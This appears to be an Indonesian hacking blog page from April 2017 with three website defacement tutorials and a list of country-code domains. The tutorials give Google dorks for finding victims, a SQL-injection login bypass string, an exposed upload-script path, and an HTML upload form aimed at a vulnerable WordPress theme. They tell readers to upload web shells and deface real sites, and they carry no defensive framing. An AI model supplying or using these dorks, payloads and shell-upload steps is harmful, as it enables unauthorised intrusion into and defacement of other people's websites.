Reckzone: April 2017

Selasa, 25 April 2017

Cara Deface Dengan ByPass Admin Login

Ketemu Lagi Gan , Mimin Kali Ini Mau Ngebahas Tentang Cara Deface Dengan ByPass Admin Login.
Langsung Aja Kita Cari Target Menggunakan Google Dork

Dork : inurl://login.php intext:perekonomian
Kembangin Lagi Ya Gan :)

Kita Dorking Ke Google Menggunakan Dork Itu Atau Dork Yang Agan Kembangkan.
Cari Target. , Contoh Target

Kemudian Kita ByPass Dengan username/password '=''or'/'=''or' Maka Akan Masuk Ke Halaman Adminnya

Sesudah Itu Eksekusi Deh, Upload Shell Kalau Bisa , Kalo Nggak Yha Buat Berita Atau Apa Kek Terserah Kamu :V. kalo Aku Disini Mau Buat Berita Biar Terkenal :V. Sekalian Promosi..

Sekian Dulu Tutorialnya Kalau Agan Belum Paham Bisa Koment Di Bawah, Lngsung Di Bales Kok, No PHP :)

Cara Deface Dengan 31337FileExists Exploit and Upload Shell

Unknown Deface 19.03

Oke Gan, Kali ini saya akan bahas Cara Deface Dengan 31337FileExists Exploit and Upload Shell, Sebelum Itu Kita Dorking Terlebih Dahulu

+ Dork : - "31337FileExists"
- "31337FileExists" inurl:"node"

+Exploit : /sites/default/files/up.php

oke Langsung Aja Ya

Dorking Ke Mbah Goole

Kemudian Kita Pijih Target Dan Masukkan Exploit, Contoh......: Target.com/sites/default/files/up.php , Kalau Vuln Kek Gini

Kalau Sudah Kita Tinggal Upload Shell +Eksekusi

Sekian Tutorial Dari Saya , Kalau Belum Vaham Atau Gagal Vaham Bisa Komen Di Bawah :)

Daftar Domain Di Seluruh Dunia

Unknown Deface 17.29

ad:Andorra
ae:United Arab Emirates
af:Afghanistan
ag:Antigua and Barbuda
ai:Anguilla
al:Albania
am:Armenia
an:Netherlands Antilles
ao:Angola
aq:Antarctica
ar:Argentina
as:American Samoa
at:Austria
au:Australia
aw:Aruba
az:Azerbaijan
ba:Bosnia and Herzegowina
bb:Barbados
bd:Bangladesh
be:Belgium
bf:Burkina Faso
bg:Bulgaria
bh:Bahrain
bi:Burundi
bj:Benin
bm:Bermuda
bn:Brunei Darussalam
bo:Bolivia
br:Brazil
bs:Bahamas
bt:Bhutan
bv:Bouvet Island
bw:Botswana
by:Belarus
bz:Belize
ca:Canada
cc:Cocos (Keeling) Islands
cd:Congo
cf:Central African Republic
cg:Congo
ch:Switzerland
ci:Cote D'Ivoire
ck:Cook islands
cl:Chile
cm:Cameroon
cn:China
co:Colombia
cr:Costa Rica
cu:Cuba
cv:Cape Verde
cx:Christmas Island
cy:Cyprus
cz:Czech Republic
de:Germany
dj:Djibouti
dk:Denmark
dm:Dominica
do:Dominican Republic
dz:Algeria
ec:Ecuador
ee:Estonia
eg:Egypt
eh:Western Sahara
er:Eritrea
es:Spain
et:Ethiopia
fi:Finland
fj:Fiji
fk:Falkland Islands (Malvinas)
fm:Micronesia
fo:Faroe Islands
fr:France
fx:France, Metropolitan
ga:Gabon
gd:Grenada
ge:Georgia
gf:French Guiana
gh:Ghana
gi:Gibraltar
gl:Greenland
gm:Gambia
gn:Guinea
gp:Guadeloupe
gq:Equatorial Guinea
gr:Greece
gs:South Georgia and the South Sandwich Islands
gt:Guatemala
gu:Guam
gw:Guinea-Bissau
gy:Guyana
hk:Hong Kong
hm:Heard and Mc Donald Islands
hn:Honduras
hr:Croatia (Hrvatska)
ht:Haiti
hu:Hungary
id:Indonesia
ie:Ireland
il:Israel
in:India
io:British Indian Ocean Territory
iq:Iraq
ir:Iran
is:Iceland
it:Italy
jm:Jamaica
jo:Jordan
jp:Japan
ke:Kenya
kg:Kyrgyzstan
kh:Cambodia
ki:Kiribati
km:Comoros
kn:Saint Kitts and Nevis
kp:Korea (North)
kr:Korea
kw:Kuwait
ky:Cayman Islands
kz:Kazakhstan
la:Laos
lb:Lebanon
lc:Saint Lucia
li:Liechtenstein
lk:Sri Lanka
lr:Liberia
ls:Lesotho
lt:Lithuania
lu:Luxembourg
lv:Latvia
ly:Libya
ma:Morocco
mc:Monaco
md:Moldova
mg:Madagascar
mh:Marshall Islands
mk:Macedonia
ml:Mali
mm:Myanmar
mn:Mongolia
mo:Macau
mp:Northern Mariana Islands
mq:Martinique
mr:Mauritania
ms:Montserrat
mt:Malta
mu:Mauritius
mv:Maldives
mw:Malawi
mx:Mexico
my:Malaysia
mz:Mozambique
na:Namibia
nc:New Caledonia
ne:Niger
nf:Norfolk Island
ng:Nigeria
ni:Nicaragua
nl:Netherlands
no:Norway
np:Nepal
nr:Nauru
nu:Niue
nz:New Zealand
om:Oman
pa:Panama
pe:Peru
pf:French Polynesia
pg:Papua New Guinea
ph:Philippines
pk:Pakistan
pl:Poland
pm:St. Pierre and Miquelon
pn:Pitcairn
pr:Puerto Rico
pt:Portugal
pw:Palau
py:Paraguay
qa:Qatar
re:Reunion
ro:Romania
ru:Russian Federation
rw:Rwanda
sa:Saudi Arabia
sb:Solomon Islands
sc:Seychelles
sd:Sudan
se:Sweden
sg:Singapore
sh:St. Helena
si:Slovenia
sj:Svalbard and Jan Mayen Islands
sk:Slovak Republic
sl:Sierra Leone
sm:San Marino
sn:Senegal
so:Somalia
sr:Suriname
st:Sao Tome and Principe
sv:El Salvador
sy:Syria
sz:Swaziland
tc:Turks and Caicos Islands
td:Chad
tf:French Southern Territories
tg:Togo
th:Thailand
tj:Tajikistan
tk:Tokelau
tm:Turkmenistan
tn:Tunisia
to:Tonga
tp:East Timor
tr:Turkey
tt:Trinidad and Tobago
tv:Tuvalu
tw:Taiwan
tz:Tanzania
ua:Ukraine
ug:Uganda
uk:United Kingdom
um:United States Minor Outlying Islands
us:United States
us:USA
uy:Uruguay
uz:Uzbekistan
va:Vatican City State
vc:Saint Vincent and the Grenadines
ve:Venezuela
vg:Virgin Islands (British)
vi:Virgin Islands (United States)
vn:Viet Nam
vu:Vanuatu
wf:Wallis and Futuna Islands
ws:Samoa
ye:Yemen
yt:Mayotte
yu:Yugoslavia
za:South Africa
zm:Zambia
zr:Zaire
zw:Zimbabwe

Cara deface Menggunakan Wordpress Themes Qualifire File Upload

Unknown Deface 11.33

Oke Gan, kali ini aku akan bahas tentang Cara deface Menggunakan Wordpress Themes Qualifire File Upload, Kita Langsung Saja Ya

Dork :- inurl:"/wp-content/themes/qualifire"
- inurl:"/wp-content/themes/qualifire" site:.fr

Kembangin Lagi Ya Gan Dorknya

Exploit : /wp-content/themes/qualifire/scripts/admin/uploadify/uploadify.php

Kalau Vuln Biasanya Blank/Kosong

Csrf

<form
action="http://target.co.li/wp-content/themes/qualifire/scripts/admin/uploadify/uploadify.php"
method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="Filedata" ><br>
<input type="submit" name="submit" value="Submit">
</form>

Oke Langsung Saja Dorking Ke Mbah Google

Kemudian Cari Target Dan Masukkan Exploit Kalau Vuln Gambarnya Blank/Kosong

Kemudian copy di notepad Csrf Di Atas Dan Save as mengguanakn .html, Kalau Sudah Buka Csrf Tadi

Kemudian Kita Upload Shell, tapi disini saya akan upload file gambar (png, jpg, gift, dll), Kalau Vuln Maka Akan Terlihat Angka 1 Di Atas Kiri,

Akses Shell,

target.com/shell agan